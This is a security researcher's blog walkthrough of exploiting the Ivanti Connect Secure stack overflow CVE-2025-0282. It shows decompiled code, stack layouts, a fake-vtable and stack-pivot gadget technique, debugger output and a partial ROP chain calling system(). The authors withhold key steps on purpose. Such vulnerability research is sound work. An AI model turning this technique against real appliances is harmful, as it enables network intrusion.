Exploitation Walkthrough and Techniques - Ivanti Connect Secure RCE (CVE-2025-0282)
As we saw in our previous blogpost, we fully analyzed Ivanti’s most recent unauthenticated Remote Code Execution vulnerability in their Connect Secure (VPN) appliance. Specifically, we analyzed CVE-2025-0282.
Today, we’re going to walk through exploitation. Once again, however, stopping short of providing the world with a Detection Artifact Generator (also known as a proof of concept, apparently) - as previously mentioned, release and sharing of our PoC (in a to-be-decided form) will be held back until the 16th Jan ‘25.
Note from the editor: Before that - an observation. We've seen a number of security executives and leaders tell the world how unfair it is that people could possibly criticize Ivanti and their continuous spate of mission critical vulnerabilities in mission critical appliances - because "attackers always use new [in 1999] techniques" and zero-day can happen to anyone :^)
We believe this is a real-world example of stockholm syndrome - get help.
We agree - modern security engineering is hard - but none of this is modern. We are discussing vulnerability classes - with no sophisticated trigger mechanisms that fuzzing couldnt find - discovered in the 1990s, that can be trivially discovered via basic fuzzing, SAST (the things product security teams do with real code access).
As an industry, should we really be communicating that these vulnerability classes are simply too complex for a multi-billion dollar technology company that builds enterprise-grade, enterprise-priced network security solutions to proactively resolve?
We've enjoyed walking through the exploitation of this vulnerability, and we’re excited to share our work with everyone.
So without further ado, onto the fun part…
Previously On ‘Reproducing CVE-2025-0282’
In our previous post, we discussed the root cause of CVE-2025-0282 - a stack-based buffer overflow in code designed to handle IF-T connections.
The following analysis is based on decompiled code from an Ivanti Connect Secure appliance running 22.7R2.3. The vulnerability specifically is found in the binary /home/bin/web, which handles all incoming HTTP requests and VPN protocols - including IFT TLS - for an Ivanti Connect Secure appliance.
Previously, we identified that if an attacker sends a clientCapabilities
block with more than 256 bytes, they’ll spill over into other stack variables, and eventually into the return address, where RCE awaits.
As you may recall, and repeated here if not, we identified that Ivanti developers used strncpy
, instead of the unsafe strcpy
when handling clientCapabilities, but had mistakenly passed in the size of the input string - not the size of the destination buffer - as the size limit.
As we can see in the output of decompiled below, the dest buffer is defined with a 256 byte size. Subsequently, at line 22, we can see that the value of the clientCapabilities parameter is extracted, with the length of this value calculated at line 25 and copied into the dest buffer at line 31.
This ultimately provides the smoking gun for the vulnerability that we’re hunting and allows for an out-of-bound write.
2: int __cdecl ift_handle_1(int a1, IftTlsHeader *a2, char *a3)
3: {
4:
5: int v18;
6: int v19;
7: char dest[256]; // [esp+120h] [ebp-8ECh] BYREF
8: char object_to_be_freed[4]; // [esp+220h] [ebp-7ECh] BYREF
9: void *ptr; // [esp+224h] [ebp-7E8h]
10: int v20; // [esp+228h] [ebp-7E4h]
11: int v21; // [esp+22Ch] [ebp-7E0h]
12: int v22; // [esp+230h] [ebp-7DCh]
13: char v23; // [esp+234h] [ebp-7D8h]
14: char v24; // [esp+235h] [ebp-7D7h]
15: void *v25; // [esp+23Ch] [ebp-7D0h]
16: _DWORD v26[499]; // [esp+240h] [ebp-7CCh] BYREF
17:
18:
19: [..SNIP..]
20:
21:
22: clientCapabilities = getKey(req, "clientCapabilities");
23: if ( clientCapabilities != NULL )
24: {
25: clientCapabilitiesLength = strlen(clientCapabilities);
26: if ( clientCapabilitiesLength != 0 )
27: connInfo->clientCapabilities = clientCapabilities;
28: }
29: }
30: memset(dest, 0, sizeof(dest));
31: strncpy(dest, connInfo->clientCapabilities, clientCapabilitiesLength);
32:
33: v24 = 46;
34: v25 = &v57;
35: if ( ((unsigned __int8)&v57 & 2) != 0 )
36: {
37: LOBYTE(v24) = 44;
38: v57 = 0;
39: v25 = (__int16 *)&v58;
40: }
41: memset(v25, 0, 4 * (v24 >> 2));
42: v26 = &v25[2 * (v24 >> 2)];
43: if ( (v24 & 2) != 0 )
44: *v26 = 0;
45: na = 46;
46:
47:
48: (*(void (__cdecl **)(int, __int16 *))(*(_DWORD *)a1 + 0x48))(a1, &v22);
49:
50:
51: isValid = 1;
52: EPMessage::~EPMessage((EPMessage *)v18);
53: DSUtilMemPool::~DSUtilMemPool((DSUtilMemPool *)object_to_be_freed);
54: return isValid;
55:
56:
57: }
Now that we’ve gone through this section, we can hear you already: "Great, but what does the stack layout look like?”
Stack It Up
Well, we’ve laid this out for you below. We have our dest buffer and a number of other variables, and as you can see - we have our stored return address.
Now, in normal and easier situations, you’d write enough data via the out-of-bounds write flaw to overwrite this return address - made easier because stack canaries aren't in use - to gain control of our instruction pointer.
However, life is not so simple, and we have an issue:
+---------------------+
| v18 (int) |
+---------------------+
| v19 (int) |
+---------------------+
| dest[256] | <- 256 bytes
+---------------------+
| object_to_be_freed | <- 4 bytes
+---------------------+
| ptr (void *) |
+---------------------+
| v20 (int) |
+---------------------+
| v21 (int) |
+---------------------+
| v22 (int) |
+---------------------+
| v23 (char) |
+---------------------+
| v24 (char) |
+---------------------+
| v25 (void *) |
+---------------------+
| v26[499] | <- 499 DWORDs (4 bytes each)
+---------------------+
| Return Address |
+---------------------+
| int a1 |
+---------------------+
| IftTlsHeader *a2 |
+---------------------+
Our problem is specific:
- We have code that is executed before the function is returned (i.e. where our overwritten return address would be used),
- However, this code utilizes the
object_to_be_freed
variable that lives on the stack after our dest buffer, and given this object is destroyed before the return is done, it causes thefree()
function to throw an exception due to an invalid address.
Let’s focus on a small portion of the previous code. The following code is executed before the function is returned. The problem is that the object_to_be_freed
variable lives on the stack after our dest
buffer, and since this object is destroyed before the return, the free()
function throws an exception due to an invalid address.
This (decompiled) code is shown below:
51: isValid = 1;
52: EPMessage::~EPMessage((EPMessage *)v18);
53: DSUtilMemPool::~DSUtilMemPool((DSUtilMemPool *)object_to_be_freed);
54: return isValid;
This presents us with a blunt problem when pursuing actual exploitation - we’re prevented from hitting the ret instruction unless we can actually provide a valid address.
Surprisingly, there is full ASLR and PIE, and thus this will be cumbersome. What if there is another way?
VTable VTable VTable
Well, let’s stare at the decompiled code again—but this time, we'll look at another piece of decompiled code that is executed before we hit our needed return.
48: (*(void (__cdecl **)(int, __int16 *))(*(_DWORD *)a1 + 0x48))(a1, &v22);
49:
50:
51: isValid = 1;
52: EPMessage::~EPMessage((EPMessage *)v18);
53: DSUtilMemPool::~DSUtilMemPool((DSUtilMemPool *)object_to_be_freed);
54: return isValid;
Do you see what we see?
At line 48, the a1 variable is dereferenced, and then a virtual function at offset 72 (or 0x48 hex) is invoked.
(*(_DWORD *)a1 + 0x48))
The following is the disassembly that performs this function invocation.
In this, eax
is populated with a pointer stored on the stack, and then this pointer is dereferenced and eax
is updated.
Finally, eax
plus 0x48
is dereferenced once again to calculate a function address to call.
mov eax, [esp+0A0Ch+arg_0]
mov eax, [eax]
mov [esp+0A0Ch+src], edx
mov edx, [esp+0A0Ch+arg_0]
mov [esp+0A0Ch+n], 2Eh ; '.' ; int
mov [esp+0A0Ch+var_A0C], edx
call dword ptr [eax+48h]
Eagle-eyed readers may recognize that this kind of usage of the eax
register is typical in C++ when the this
pointer is involved. Specifically, accessing the value pointed to by this
and adding a certain offset indicates that the vtable is being used to invoke virtual functions.
Hopefully, the following diagram we painted by hand helps show exactly what is going on:
Memory Layout:
+--------------------------+
| *this Pointer |
+--------------------------+
|
v
+--------------------------+
| vtable Address | <- Points to the vtable
+--------------------------+
|
v
+--------------------------+
| vtable (Virtual Table) | <- Array of pointers to virtual functions
+--------------------------+
| *Function[0x04] |
+--------------------------+
| *Function[0x08] |
+--------------------------+
| *Function[0x0C] |
+--------------------------+
| ... |
+--------------------------+
| *Function[0x48] | <- Points to a sequence of x86 instructions
+--------------------------+
|
v
+--------------------------+
| Function[0x48] Prologue |
+--------------------------+
| push ebp | <- Save base pointer
+--------------------------+
| mov ebp, esp | <- Set base pointer
+--------------------------+
| sub esp, 0x20 | <- Allocate stack space
+--------------------------+
| ... | <- Additional instructions
+--------------------------+
So what does this mean for us, exploitation-savants?
The *this
pointer is actually stored on the stack right after the return address
as a1
, which is the first argument to the function that we’re leveraging the out-of-bounds primitive within:
+---------------------+
| v18 (int) |
+---------------------+
| v19 (int) |
+---------------------+
| dest[256] | <- 256 bytes
+---------------------+
| object_to_be_freed | <- 4 bytes
+---------------------+
| ptr (void *) |
+---------------------+
| v20 (int) |
+---------------------+
| v21 (int) |
+---------------------+
| v22 (int) |
+---------------------+
| v23 (char) |
+---------------------+
| v24 (char) |
+---------------------+
| v25 (void *) |
+---------------------+
| v26[499] | <- 499 DWORDs (4 bytes each)
+---------------------+
| Return Address |
+---------------------+
| int a1 |
+---------------------+
| IftTlsHeader *a2 |
+---------------------+
We’re sure you can see where we’re headed with this.
Our theory was that if we overflow past the return address and overwrite the this
pointer, we can actually gain control of the execution “before” the object_to_be_freed
variable is destroyed.
Hunting For Our Gadget
Although we can trivialize our plan into 1 sentence - this is not straightforward to execute.
We need to fake a vtable - more specifically, we need a valid pointer that points to another pointer so that when 0x48 is added, the pointer will point to valid instructions that are useful to us - aka, our first gadget.
Before we find this unicorn, we need to know what we’re actually looking for. What actually would be useful to us?
Put simply - if we can find a gadget that does an early ret
and doesn’t segfault beforehand, we can gain control of the instruction pointer.
After A Bit Of Time
Through the power of -time, mystery and hopes/dreams, we eventually found a gadget that met our requirements.
Let’s take a look at our next illustration:
Memory Layout:
+--------------------------+
| *fake_this Pointer |
+--------------------------+
|
v
+--------------------------+
| fake_vtable Address | <- Points to the vtable
+--------------------------+
|
v
+--------------------------+
| fake vtable |
+--------------------------+
| *gadget_0[0x48] | <- Points to a sequence of x86 instructions
+--------------------------+
|
v
+--------------------------+
| gadget_0[0x48] |
+--------------------------+
| xor eax, eax | <- Clear EAX register
+--------------------------+
| ret | <- Return to caller
+--------------------------+
As a brief explainer - we found a fake_this
pointer that points to an address that holds another address which - when we add 0x48 to it - will point to a gadget that performs xor eax, eax
and then a ret
.
Perfect, we’re done?
Nope, life is never so easy. We’re faced with another problem - when the ret
is about to be executed, the stack looks like this:
gdb> x/10wx $esp
0xff9fa6e0: 0xff9fa800 0x56d7fe10 0x00000d35 0x56767c7f
0xff9fa6f0: 0x00000032 0x5677d44c 0x00000000 0x00000000
0xff9fa700: 0x00000000 0x00000000
None of these values are in our control, and so the ret
that we longed for will go somewhere that is useless to us.
Pivot Duck Slide Around The Stack
Although we were dismayed by this stack given it did not look at all hopeful, looking further down the stack shows something promising.
The bytes we have sprayed as part of our initial payload show up at exactly $esp+0x120
.
Therefore, if we can perform a stack pivot and shift $esp
to point to our controlled buffer, we can gain an early eip
control instead of relying on the original IF-T parser epilogue.
gdb> x/100wx $esp
0xff9fa6e0: 0xff9fa800 0x56d7fe10 0x00000d35 0x56767c7f
0xff9fa6f0: 0x00000032 0x5677d44c 0x00000000 0x00000000
0xff9fa700: 0x00000000 0x00000000 0x00000d34 0xff9fa752
0xff9fa710: 0x00001547 0xff9fa728 0x00000000 0xff9fa900
0xff9fa720: 0x00000000 0x00000000 0xff9fa900 0xf7a68490
0xff9fa730: 0xff9fa900 0x00000003 0x00000010 0xff9fa948
0xff9fa740: 0x00000000 0x00000000 0x00000000 0x00000000
0xff9fa750: 0x00000000 0x00000000 0x00000000 0x00000000
0xff9fa760: 0x00000000 0x00000000 0x00000000 0x00000000
0xff9fa770: 0x00000000 0x00000000 0x00000000 0x00000000
0xff9fa780: 0x00000000 0x00000000 0x00000000 0x00000000
0xff9fa790: 0x00000000 0x00000000 0x00000000 0x00000000
0xff9fa7a0: 0x00000000 0x00000000 0x00000000 0x00000000
0xff9fa7b0: 0x00000000 0x00000000 0x00000000 0x00000000
0xff9fa7c0: 0x00000000 0x00000000 0x00000000 0x00000000
0xff9fa7d0: 0x00000000 0x00000000 0x00000000 0x00000000
0xff9fa7e0: 0x00000000 0x00000000 0x00000000 0x00000000
0xff9fa7f0: 0x00000000 0x00000000 0x00000000 0x00000000
0xff9fa800: 0x61616161 0x61616162 0x61616163 0x61616164
0xff9fa810: 0x61616165 0x61616166 0x61616167 0x61616168
0xff9fa820: 0x61616169 0x6161616a 0x6161616b 0x6161616c
0xff9fa830: 0x6161616d 0x6161616e 0x6161616f 0x61616170
0xff9fa840: 0x61616171 0x61616172 0x61616173 0x61616174
0xff9fa850: 0x61616175 0x61616176 0x61616177 0x61616178
0xff9fa860: 0x61616179 0x6261617a 0x62616162 0x62616163
As discussed though, we can’t just use any address for our initial gadget - we need to go through the whole process again and find a valid pointer that can be faked as a this
pointer which points to a vtable
, where a member at offset+0x48 performs both a stack pivot and an early ret
.
It’s a good thing that the Ivanti web
binary contains so many libraries.
After spending a while looking around and discarding gadgets that would throw a segfault during execution by dereferencing various registers, we found something magical.
A Gadget From The Gods
Not only does our newly found shiny and magical gadget perform a stack pivot, but it also does an early ret
and has no instruction that causes an early segfault.
Perfect!
Memory Layout:
+--------------------------+
| *fake_this Pointer |
+--------------------------+
|
v
+--------------------------+
| fake_vtable Address | <- Points to the vtable
+--------------------------+
|
v
+--------------------------+
| fake vtable |
+--------------------------+
| *gadget_0[0x48] | <- Points to a sequence of x86 instructions
+--------------------------+
|
v
+--------------------------+
| gadget_0[0x48] |
+--------------------------+
| mov ebx, 0xfffffff0 | <- Load value into EBX
+--------------------------+
| add esp, 0x204C | <- Adjust stack pointer
+--------------------------+
| mov eax, ebx | <- Copy EBX to EAX
+--------------------------+
| pop ebx | <- Restore EBX
+--------------------------+
| pop esi | <- Restore ESI
+--------------------------+
| pop edi | <- Restore EDI
+--------------------------+
| pop ebp | <- Restore EBP
+--------------------------+
| ret | <- Return to caller
+--------------------------+
Now that we have the correct gadget we should be able to gain control of the value in eip
.
Thread 2.1 "web" received signal SIGSEGV, Segmentation fault.
[Switching to Thread 10799.10799]
**0xdeadbeef** in ?? ()
(gdb) bt
#0 0xdeadbeef in ?? ()
#1 0x6974000a in ?? ()
#2 0x253a6e6f in ?? ()
#3 0x6f702032 in ?? ()
#4 0x6c207472 in ?? ()
#5 0x3a747369 in ?? ()
#6 0x33252720 in ?? ()
#7 0xff002e27 in ?? ()
#8 0x00000001 in ?? ()
#9 0x00000000 in ?? ()
ROP n ROLL
Let’s look where we are:
eip
control is achieved,- We can ROP with no limitations,
- The stack is where we want it.
In this situation, crafting a ROP chain that achieves RCE should be logically straightforward.
mov_eax_esp_ret = p32(0xf29e92c3) # mov eax, esp; ret
add_eax_8_ret = p32(0xf5068858) # add eax, 8; ret;
add_eax_8_ret = p32(0xf5068858) # add eax, 8; ret;
add_eax_8_ret = p32(0xf5068858) # add eax, 8; ret;
add_eax_8_ret = p32(0xf5068858) # add eax, 8; ret;
pop_esi_ret = p32(0xf4f5de27) # pop esi; ret;
esi = p32(0xf5a07d40) # system
set_arg_call_esi = p32(0xf4f5e265) # mov dword ptr [esp], eax; call esi;
Let’s check it out..
Building The Exploit
We’ve gone through exploitation, and how we approach this from a technique perspective.
However, for the readers at home who are hoping to use this to craft their own exploit, we are omitting some details that you will need to complete yourself. This is purposeful.
You will need to:
- Find the address of the gadgets we discussed,
- Write a loop that brute forces ASLR. Since this is an x86 target, and ASLR is only applied to certain ranges, this should be an easy task.
As previously discussed, we will not answer these questions even in our soon-to-be-released Detection Artifact Generator—sorry, kiddos.
Conclusion
We hope you’ve enjoyed this walkthrough of how we approached exploiting this vulnerability. As discussed, we have intentionally left out crucial key mechanisms needed to actually build a PoC and weaponize this vulnerability.
At watchTowr, we passionately believe that continuous security testing is the future and that rapid reaction to emerging threats single-handedly prevents inevitable breaches.
With the watchTowr Platform, we deliver this capability to our clients every single day - it is our job to understand how emerging threats, vulnerabilities, and TTPs could impact their organizations, with precision.
If you'd like to learn more about the watchTowr Platform, our Attack Surface Management and Continuous Automated Red Teaming solution, please get in touch.